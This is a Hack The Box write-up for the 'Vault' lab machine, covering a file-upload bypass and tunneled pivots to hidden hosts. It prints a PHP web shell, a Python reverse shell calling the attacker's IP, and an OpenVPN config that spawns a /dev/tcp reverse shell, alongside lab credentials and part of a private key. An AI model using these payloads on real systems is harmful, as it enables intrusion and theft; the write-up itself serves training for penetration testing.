Tags: hack the box, ssh tunneling, linux, burp suite, socks proxy, proxychains, sshuttle, openvpn, gpg, tunnels
Vault was a lot of fun for me. It is evident that nol0gz put a lot of thought and effort into this submission. I love bending traffic to access different targets, and I got to do that a couple of different ways on this box. When released, Vault got off to a rocky start. It launched with fewer resources allocated to the box than what was necessary. The result was that some servers lacked the running containers to progress past the initial web exploit. Once the HTB team rectified that issue, Vault turned out to be a great box. Vault is an excellent box for those that are working toward their OSCP, specifically concerning tunneling.
As usual, we start with a masscan
followed by a targeted nmap
.
masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.109.all 10.10.10.109
══════════════════════════════════════════════════════════════════════════════════════════════
open tcp 22 10.10.10.109 1541277261
open tcp 80 10.10.10.109 1541277328
nmap -p 22,80 -sC -sV -oN nmap.scan.tcp 10.10.10.109
════════════════════════════════════════════════════
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA)
| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA)
|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Forced browsing using the usual wordlists doesn’t yield much in the way of results, so let’s generate a custom wordlist. We’ll start by running cewl against the website.
cewl http://10.10.10.109 -w original-vault.cewl
Then we’ll use john
to transform each word in the wordlist according to the rules in /etc/john/john.conf
.
john --wordlist=original-vault.cewl --rules --stdout > transformed-vault.cewl
Our original wordlist grows from 31 entries to 1549 entries. Here are the rules that john
uses to transform the given wordlist.
# Wordlist mode rules
[List.Rules:Wordlist]
# Try words as they are
:
# Lowercase every pure alphanumeric word
-c >3 !?X l Q
# Capitalize every pure alphanumeric word
-c (?a >2 !?X c Q
# Lowercase and pluralize pure alphabetic words
<* >2 !?A l p
# Lowercase pure alphabetic words and append '1'
<* >2 !?A l $1
# Capitalize pure alphabetic words and append '1'
-c <* >2 !?A c $1
# Duplicate reasonably short pure alphabetic words (fred -> fredfred)
<7 >1 al !?A l d
# Lowercase and reverse pure alphabetic words
>3 !?A l M r Q
# Prefix pure alphabetic words with '1'
>2 !?A l ^1
# Uppercase pure alphanumeric words
-c >2 !?X u Q M c Q u
# Lowercase pure alphabetic words and append a digit or simple punctuation
<* >2 !?A l $[2!37954860.?]
# Words containing punctuation, which is then squeezed out, lowercase
/?p @?p >3 l
# Words with vowels removed, lowercase
/?v @?v >3 l
# Words containing whitespace, which is then squeezed out, lowercase
/?w @?w >3 l
# Capitalize and duplicate short pure alphabetic words (fred -> FredFred)
-c <7 >1 al !?A c d
# Capitalize and reverse pure alphabetic words (fred -> derF)
-c <+ >2 !?A c r
# Reverse and capitalize pure alphabetic words (fred -> Derf)
-c >2 !?A l M r Q c
Finally, we need to concatenate our custom wordlist with one of the defaults.
cat /usr/share/seclists/Discovery/Web-Content/common.txt >> transformed-vault.cewl
Having done that, we can proceed to forced browsing.
If we browse to the site manually, we see that it is running php on the backend. Because it’s running php, we’ll include php and html file extensions in our run of recursive-gobuster.
recursive-gobuster.pyz -x php,html -w transformed-vault.cewl http://10.10.10.109 -d
═══════════════════════════════════════════════════════════════════════════════════
http://10.10.10.109/sparklays
http://10.10.10.109/sparklays?
http://10.10.10.109/sparklays?.php
http://10.10.10.109/sparklays?.html
http://10.10.10.109/index.php
http://10.10.10.109/sparklays/login.php
http://10.10.10.109/sparklays/admin.php
http://10.10.10.109/sparklays/design
http://10.10.10.109/sparklays/design/uploads
http://10.10.10.109/sparklays/design/design.html
All scans complete. Cleaning up.
Browsing to http://10.10.10.109/sparklays/design/design.html
has a link directing us to Change Logo. Clicking the link takes us to a file upload interface, located at http://10.10.10.109/sparklays/design/changelogo.php
.
We can start by uploading something that’s not an image. Testing the upload functionality with a non-image file shows whether or not there are restrictions in place on what we can and can’t upload. We can attempt to upload original-vault.cewl, which we created earlier.
We can see that there are some restrictions in place. The next step is to figure out how to get around those restrictions. Restrictions for file upload usually boil down to either blacklisting or whitelisting. In both cases, we can apply some of the same bypass techniques. Luckily for us, the first entry in OWASP’s entry for Unrestricted File Upload points us to success!
Blacklisting File Extensions
This protection might be bypassed by:
Finding missed extensions that can be executed on the server side or can be dangerous on the client side (e.g. “.php5”, “.pht”, “.phtml”, “.shtml”, “.asa”, “.cer”, “.asax”, “.swf”, or “.xap”).
There is an excellent resource for learning about different file upload bypass techniques located here.
After some trial and error using valid php file extensions, we find that a file extension of .php5
gets past the filter and nets us RCE on the server. The contents of cmdshell.php5
are listed below.
<?php system($_GET['epi']); ?>
We can use the results of our recursive-gobuster scan to determine that the uploaded file likely went to the /sparklays/design/uploads
folder.
A simple pwd
is enough to test that we have RCE.
While we’re here, let’s view the contents of changelogo.php and see what the restrictions were.
if(!preg_match('/(gif|jpe?g|png|csv|php5)$/i', $file_name)) //set permissible file types
{
echo "sorry that file type is not allowed";
} else {
move_uploaded_file($tmp_dir, $target . $file_name);
}
The web server implemented the filter as a whitelist, allowing uploads specific file extensions. In this case, php5 was among the trusted file extensions.
Now that we have a web-shell let’s grab a real shell.
Understand that this isn’t strictly necessary, as the files to proceed are easily visible from the web-shell, but it’s good to practice
We’ll start by generating our payload using ShellPop
shellpop --payload linux/reverse/tcp/python --host 10.10.14.16 --port 12345
═══════════════════════════════════════════════════════════════════════════
[+] Execute this code in remote target:
python -c "import os;import pty;import socket;nbTHPrOurJQQgk='10.10.14.16';dFmDzxzBYHIsc=12345;cVpvSYkEz=socket.socket(socket.AF_INET,socket.SOCK_STREAM);cVpvSYkEz.connect((nbTHPrOurJQQgk,dFmDzxzBYHIsc));os.dup2(cVpvSYkEz.fileno(),0);os.dup2(cVpvSYkEz.fileno(),1);os.dup2(cVpvSYkEz.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');cVpvSYkEz.close();"
Then, we’ll spin up a listener.
nc -nvlp 12345
══════════════
listening on [any] 12345 ...
Copy and paste our payload into the web-shell as a GET parameter.
Hit enter, and we get our callback.
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.109] 45728
www-data@ubuntu:/var/www/html/sparklays/design/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
\o/ - access level: www-data
Using our reverse shell, we perform some simple enumeration and check out the /home
directory.
find /home
══════════
/home
/home/alex
-------------8<-------------
/home/dave
/home/dave/Desktop
/home/dave/Desktop/ssh
/home/dave/Desktop/key
/home/dave/Desktop/Servers
/home/dave/.bash_history
-------------8<-------------
There are three interesting files on dave’s desktop, let’s check them out.
First, there is a list of additional servers out there for us to explore.
/home/dave/Desktop/Servers
══════════════════════════
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
Next, we have what is very likely dave’s login creds.
/home/dave/Desktop/ssh
══════════════════════
dave
Dav3therav3123
Finally, there is what looks to be a password of some kind, though we don’t know what it goes to yet.
/home/dave/Desktop/key
══════════════════════
itscominghome
Some of the information we just gathered won’t come into play for a while, so let’s press onto ssh access.
ssh dave@10.10.10.109
═════════════════════
dave@10.10.10.109's password: Dav3therav3123
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
222 packages can be updated.
47 updates are security updates.
Last login: Sun Mar 17 07:38:23 2019 from 10.10.14.16
dave@ubuntu:~$ id
uid=1001(dave) gid=1001(dave) groups=1001(dave)
\o/ - access level: dave - ubuntu
We’ll begin by using our newfound access to scan the 192.168.122.4
ip that we found on dave’s desktop.
Let’s confirm that we have an interface that can talk to the ip address in question.
ifconfig
════════
-------------8<-------------
virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49
inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4104 errors:0 dropped:0 overruns:0 frame:0
TX packets:5644 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1485116 (1.4 MB) TX bytes:1199325 (1.1 MB)
-------------8<-------------
We have an interface in the same subnet as our target, looking good so far.
Our next step is to set up a SOCKS proxy. We’ll do that by using the context menu available in ssh connections. To access the menu, we press ~
followed by C
. When done correctly, we won’t see either character echoed back to the screen.
In the command section below, ~
and C
were pressed to drop us into the ssh context menu. If you see a ~
echoed back, delete it, press enter to clear out the buffer, and try again.
dave@ubuntu:~$
ssh> -D 9050
Forwarding port.
The SOCKS proxy, now listening on kali @ 127.0.0.1:9050
, accepts traffic we send that is destined for the 192.168.122.0 network. It then initiates requests to that network on our behalf, acting as the client, then forwards the results back to us. For us to be able to scan the target, we need to make nmap aware of the proxy; enter proxychains
.
proxychains
forces any tcp connection made by any given tcp client to follow through a proxy (or proxy chain). It is a kind of proxifier. To utilize this tool, we need to ensure it’s configured correctly. We need to modify the bottom section in /etc/proxychains.conf
to look like this:
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks4 127.0.0.1 9050
Having done that, we can begin our scan using the following syntax. It’s important to note that -sT
is required when scanning through our proxy. Since two three-way handshakes are occurring (us to the proxy and the proxy to the target), if we allow nmap to use its default syn scan, the three-way handshake to the proxy never finishes, and our traffic never makes it to the target.
proxychains nmap -sT 192.168.122.4
══════════════════════════════════
Nmap scan report for 192.168.122.4
Host is up (0.14s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
We saw from our scan that ports 22 and 80 are open on our target. Luckily, we already have a proxy up and running, so browsing to the target is trivial. We COULD setup firefox to use the proxy directly or add an entry to our foxyproxy plugin. Instead, we’ll configure burp to know about our proxy. It won’t matter much for this particular target, but knowing how to setup burp with an upstream proxy can be very useful.
First, set Firefox to use Burp as its proxy (either via foxyproxy or the proxy settings built into Firefox). Then, in burp, click on the User options tab, click the Connections sub-tag if necessary, and scroll down to the SOCKS Proxy section. Enter in localhost and 9050, then check the box beside Use SOCKS proxy
NOTE: the checkbox won’t be clickable until the ip and port are filled out
With that done, we can browse directly to the target’s web server.
Keeping in line with using SOCKS as our gateway to the internal network, we’ll use dirb
to perform forced browsing against the web server. Normally, my go-to is gobuster
, but it doesn’t appear to play nicely with a socks proxy. If I’m mistaken, please let me know.
dirb http://192.168.122.4 -p socks4://127.0.0.1:9050
════════════════════════════════════════════════════
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Mar 17 21:10:22 2019
URL_BASE: http://192.168.122.4/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY: socks4://127.0.0.1:9050
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.122.4/ ----
+ http://192.168.122.4/index.php (CODE:200|SIZE:195)
+ http://192.168.122.4/notes (CODE:200|SIZE:36)
+ http://192.168.122.4/server-status (CODE:403|SIZE:301)
-----------------
END_TIME: Sun Mar 17 21:23:06 2019
DOWNLOADED: 4612 - FOUND: 3
Browsing to http://192.168.122.4/notes
yields two interesting file names: 123.ovpn and script.sh.
http://192.168.122.4/notes
══════════════════════════
chmod 123.ovpn and script.sh to 777
One appears to be a reverse shell command.
http://192.168.122.4/123.ovpn
══════════════════════════
remote 192.168.122.1
dev tun
nobind
script-security 2
up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/2323 0>&1'"
The other shows that reverse shell executes.
http://192.168.122.4/script.sh
══════════════════════════
#!/bin/bash
sudo openvpn 123.ovpn
Let’s head back to http://192.168.122.4. Clicking the link titled Click here to test your VPN Configuration brings us to the following page.
There is a fascinating blog post titled Reverse Shell from an OpenVPN Configuration File that describes how to pop a shell with an ovpn config. We already have a working reverse shell in 123.ovpn. We merely need to open up a tunnel back to kali and catch it.
Much like before, we’ll use the ssh context menu and add a reverse tunnel on the ubuntu box.
Recall that ~
then C
are pressed to enter the menu
dave@ubuntu:~$
ssh> -R 2323:127.0.0.1:1111
Forwarding port.
reverse tunnel options used:
2323
The port on the remote end to listen on; (10.10.10.109:2323)
127.0.0.1
Where the traffic flows after reaching 2323 from the point of view
of the creator of the tunnel (traffic dumps out on kali; the
creator's localhost)
1111
The port to which traffic is destined.
Here’s a look at netstat
on the ubuntu box. We can see 2323 listening. When the box receives traffic on port 2323, it is sent back to kali on port 1111.
dave@ubuntu:~$ netstat -nltp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:5902 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:2323 0.0.0.0:* LISTEN -
tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN -
-------------8<-------------
With our tunnel in place, we need a netcat listener on kali to catch the shell.
nc -nlvp 1111
listening on [any] 1111 ...
Now, we need to go back to http://192.168.122.4 and click the Test VPN
button. Once we do, we get a callback to our netcat listener on kali.
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50724
bash: cannot set terminal process group (1104): Inappropriate ioctl for device
bash: no job control in this shell
root@DNS:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
Once we’re in, we can grab user.txt.
cat /home/dave/user.txt
a494...
\o/ - root access - DNS
Even though we’re root, we’ve just gotten the user flag; there’s still some work left to do. As such, we perform some simple enumeration and find that dave is incredibly fond of leaving credentials lying around.
/home/dave/ssh
══════════════
dave
dav3gerous567
That’s all well and good, but we need a way to hit the ssh server on 192.168.122.4. This time, we’ll use a forward tunnel.
Just a reminder that ~
then C
are used to access the ssh context menu.
dave@ubuntu:~$
ssh> -L 2222:192.168.122.4:22
Forwarding port.
forward tunnel options used:
2222
The port on the local end to listen on; (kali:2222)
192.168.122.4
Where the traffic is destined after reaching 2222 from the point of view
of the creator of the tunnel (traffic will start on kali and be sent
through 10.10.10.109 to finally hit 192.168.122.4)
22
The port to which traffic is destined.
Let’s take another look at netstat. However, we’ll look at kali’s netstat this time.
┌(kail)─(06:10 AM Mon Mar 18)
└─(vault)─> netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN 18559/ssh
tcp 0 0 0.0.0.0:8082 0.0.0.0:* LISTEN 342/python3
tcp6 0 0 ::1:2222 :::* LISTEN 18559/ssh
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 6604/java
tcp6 0 0 :::8082 :::* LISTEN 342/python3
We can see that there is a listener on 2222 on our kali machine. Any traffic sent there will be forwarded to 192.168.122.4 on port 22. Knowing that, we can ssh to the local tunnel which will move all of our traffic through the tunnel over to the target.
┌(kail)─(06:10 AM Mon Mar 18)
└─(vault)─> ssh -p 2222 dave@127.0.0.1
dave@127.0.0.1's password: dav3gerous567
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
98 packages can be updated.
50 updates are security updates.
Last login: Mon Sep 3 16:38:03 2018
dave@DNS:~$
Some simple enumeration shows us that if we need to run anything as root, dave has no restrictions on his sudo access.
sudo -l
═══════
[sudo] password for dave: dav3gerous567
Matching Defaults entries for dave on DNS:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dave may run the following commands on DNS:
(ALL : ALL) ALL
So a simple sudo -i
spawns us a root shell if necessary.
sudo -i
═══════
[sudo] password for dave: dav3gerous567
root@DNS:~# id
uid=0(root) gid=0(root) groups=0(root)
\o/ - root access - DNS
On DNS, there are a few files of interest that came up during enumeration. First, we see the ip address of our next target in /etc/hosts
.
/etc/hosts
══════════
127.0.0.1 localhost
127.0.1.1 DNS
192.168.5.2 Vault
There is also /var/log/auth.log
. This log file houses things related to authentication and authorization. It’s a good log to investigate, especially when trying to learn about user logins and usage of the sudo command.
There are multiple instances of dave logging in to DNS from Vault. The interesting thing is that each one has a source port of 4444.
Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh2
-------------8<-------------
There are also the following three log entries that give us an obvious way forward.
Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
The nmap
command uses a source port of 4444 in all three of the above entries, similar to dave’s use of 4444 when logging into DNS from Vault. The other two netcat commands are relays that also make use of a specific source port; 53 in this case.
If we think back to the Servers file we found on the ubuntu box; there is a 192.168.122.5 box out here that is named Firewall. The use of particular source ports may be an indicator of the firewall only allowing certain types of traffic.
Let’s confirm that traffic to Vault routes through Firewall.
route -n
════════
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.5.0 192.168.122.5 255.255.255.0 UG 0 0 0 ens3
192.168.122.0 0.0.0.0 255.255.255.0 U 0 0 0 ens3
We can see above that traffic destined for the 192.168.5.0 network is sent to 192.168.122.5 for routing, which is the ip of Firewall.
Based on the log entries, we can assume that, at a minimum, ports 4444 and 53 are allowed through the firewall. We can confirm our suspicions by scanning Vault’s port 987 from DNS both with and without specifying a source port.
First, without a source port.
nmap -p 987 192.168.5.2 -Pn
═══════════════════════════
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-19 22:08 GMT
Nmap scan report for Vault (192.168.5.2)
Host is up.
PORT STATE SERVICE
987/tcp filtered unknown
Next, with a source port.
nmap -p 987 192.168.5.2 -Pn --source-port 53
════════════════════════════════════════════
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-19 22:09 GMT
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0028s latency).
PORT STATE SERVICE
987/tcp open unknown
We get the same results with a source port of 4444.
nmap -p 987 192.168.5.2 -Pn --source-port 4444
════════════════════════════════════════════
Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-19 22:09 GMT
Nmap scan report for Vault (192.168.5.2)
Host is up (0.0028s latency).
PORT STATE SERVICE
987/tcp open unknown
Now that we know how to get through the firewall let’s see what we can find out about port 987.
ncat -p 53 192.168.5.2 987
══════════════════════════
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
We have an ssh server, let’s see if our creds work!
To access Vault from kali, we’ll need to set up another tunnel. Additionally, we’ll need to set up a netcat relay like the ones we found in the logs. Let’s start with the tunnel.
For our tunnel, we need to be able to hit the netcat relay we’ll set up next. We can set up the tunnel in one of two ways. We can set it up so that traffic goes through our established connection to ubuntu and then flows over the network to DNS. The other option is that we set up the tunnel so that traffic goes through our established connection to DNS and then flows directly to localhost on DNS. The second option is a tunnel nested within a tunnel and is a handy tool to add to our arsenal. To demonstrate nested tunnels, we’ll go with the second option.
In our shell on DNS, we’ll perform actions very similar to what we did on ubuntu. We’ll create a forward tunnel that starts on kali, goes through ubuntu and exits onto DNS directly via localhost. Our previous tunnel forwarded traffic from ubuntu to DNS. This time around, the traffic won’t touch the network outside of the tunnel.
dave@DNS:~$
ssh> -L 3333:127.0.0.1:12345
Forwarding port.
forward tunnel options used:
3333
The port on the local end to listen on; (kali:3333)
127.0.0.1
Where the traffic flows after reaching 3333 from the point of view
of the creator of the tunnel (traffic originates on kali and flows
through 10.10.10.109 and 192.168.122.4 to finally hit localhost on 192.168.122.4)
12345
The port to which traffic is destined.
Let’s take a look at netstat on kali.
netstat -lnpt
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3333 0.0.0.0:* LISTEN 18707/ssh
tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN 18559/ssh
-------------8<-------------
We can see our forward tunnel from earlier (2222) which points at DNS:22. The new addition is kali:3333 which points to DNS’s 127.0.0.1:12345.
With that in place, let’s set up our netcat relay on DNS. It’s going to resemble what we found earlier. We’ll mainly need to ensure that the listener is port 12345.
root@DNS:~# ncat -nvl 12345 --sh-exec "ncat 192.168.5.2 987 -p 53"
root permissions are required to bind a well-known port, such as port 53
The netcat command will block until we run the ssh command below. The following ssh command is run on kali and makes use of our forward tunnel listening on port 3333.
┌(kail)─(✗)─(08:10 PM Tue Mar 19)
└─(vault)─> ssh -p 3333 dave@127.0.0.1
dave@127.0.0.1's password: dav3gerous567
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
96 packages can be updated.
49 updates are security updates.
Last login: Mon Sep 3 16:48:00 2018
dave@vault:~$ id
uid=1001(dave) gid=1001(dave) groups=1001(dave)
\o/ - access level: dave@vault
Upon connecting to Vault, we see that we are in an rbash
shell. rbash is short for restricted bash; thankfully the escape method for this rbash instance is incredibly simple. Simply typing bash
takes us out of rbash.
dave@vault:~$ ps -p $$
PID TTY TIME CMD
11727 pts/0 00:00:00 rbash
dave@vault:~$ bash
dave@vault:~$ ps -p $$
PID TTY TIME CMD
11777 pts/0 00:00:00 bash
After escaping the jail, we immediately see a file named root.txt.gpg. Judging by the file extension, it’s likely to be a gpg encrypted file. Running file
on it confirms our suspicions.
file root.txt.gpg
═════════════════
root.txt.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b .
To decrypt the file, we need the private key and a password. Thankfully, we have shells in all of our targets, so we can list out the keys on each target to see if any keys are lying around.
It turns out that only ubuntu has gpg keys available for use.
dave@ubuntu:~$ gpg --list-keys
/home/dave/.gnupg/pubring.gpg
-----------------------------
pub 4096R/0FDFBFE4 2018-07-24
uid david <dave@david.com>
sub 4096R/D1EB1F03 2018-07-24
There are a couple of ways of getting the keys to the file; let’s try a few.
Because most of the necessary pieces are already in place, scp
seems like a logical first choice. Our goal here is to exit our current connection to Vault and set up the same netcat relay as before. After that, we’ll use scp
to bring the file from Vault to ubuntu. Let’s begin.
First, exit the shell on Vault by typing exit
or pressing ctrl+d
. After that, we need to restart the netcat relay on DNS.
root@DNS:~# ncat -nvl 12345 --sh-exec "ncat 192.168.5.2 987 -p 53"
Ncat: Version 7.01 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345
Next, on ubuntu, we can easily scp
the file from Vault to ubuntu.
dave@ubuntu:~$ scp -P 12345 dave@192.168.122.4:~/root.txt.gpg .
═══════════════════════════════════════════════════════════════
dave@192.168.122.4's password: dav3gerous567
root.txt.gpg 100% 629 0.6KB/s 00:00
With that done, we need to think back to the file on dave’s Desktop.
/home/dave/Desktop/key
══════════════════════
itscominghome
A file named key with what is likely to be a password in it seems promising to decrypt our file.
gpg -d root.txt.gpg
══════════════
You need a passphrase to unlock the secret key for
user: "david <dave@david.com>"
4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4)
Enter passphrase: itscominghome
gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24
"david <dave@david.com>"
ca46...
There we have root.txt, but let’s explore a few other ways of getting the keys and the file to the same location. Judging by netsec focus chat and forum posts, this seemed to be a sticking point for a lot of folks.
Vault is missing many tools that make ascii text transfer of the encrypted file possible. However, one is still present; base32
. Using this technique doesn’t require tunnels and is a pretty simple option.
First, we’ll encode the encrypted file on Vault.
base32 -w0 root.txt.gpg
═══════════════════════
QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHDLIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJBGMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRGVEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOEOPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFECKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJIUWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTDZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE27464GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBKTTAX3UIRVNBQMYRI7XY=
With that done, we can just copy it and paste it onto ubuntu using a here-doc.
cat > enc.gpg.b32 << EOF
QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHDLIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJBGMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRGVEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOEOPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFECKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJIUWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTDZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE27464GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBKTTAX3UIRVNBQMYRI7XY=
EOF
Next, we need to decode our encoded file.
base32 -d enc.gpg.b32 > enc.gpg
Finally, we can decrypt it using gpg
the same way we did above in the scp
section.
gpg -d enc.gpg
-------------8<-------------
This option uses gpg itself to export the key from ubuntu and import it onto Vault. Since gpg exports the key as ascii text, we can still move it with copy and paste, even if we hadn’t found the base32
command.
First, we’ll export david’s key on ubuntu.
dave@ubuntu:~$ gpg --export-secret-key -a david
════════════════════════════════
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1
lQdGBFtXNfsBEACizc1xK9qBXi2naRr4kzKls+SOPylOSq8yrOEMSPMQAwYcLckZ
lU6iRjzbmyxm+u83ZPl2fnFYZxPdLgWa59AhZplyIK23jv+FIaSUkg77edDFUKA7
QP3ejwFeGSMgxkzFKzplRyDtnmdqZzwnRNVoZmzbCDilqSw9IN8getJwUJ2GgAEO
egr3eKLMABDSe3EsZd728qsUQL6wUNj0qxBqYo/kIFpL8uxnlxwPLzAtGBaBfpHN
-------------8<-------------
-----END PGP PRIVATE KEY BLOCK-----
Then, we’ll copy the private key onto Vault using a here-doc.
dave@vault:~$ cat > key << EOF
> -----BEGIN PGP PRIVATE KEY BLOCK-----
> Version: GnuPG v1
>
> lQdGBFtXNfsBEACizc1xK9qBXi2naRr4kzKls+SOPylOSq8yrOEMSPMQAwYcLckZ
> lU6iRjzbmyxm+u83ZPl2fnFYZxPdLgWa59AhZplyIK23jv+FIaSUkg77edDFUKA7
-------------8<-------------
> 2Nzqs6S1S7p1p49iMbtbKXiorUHYvHWXv7BMk40sAvuaZKDC/sme5lZv54TOWJat
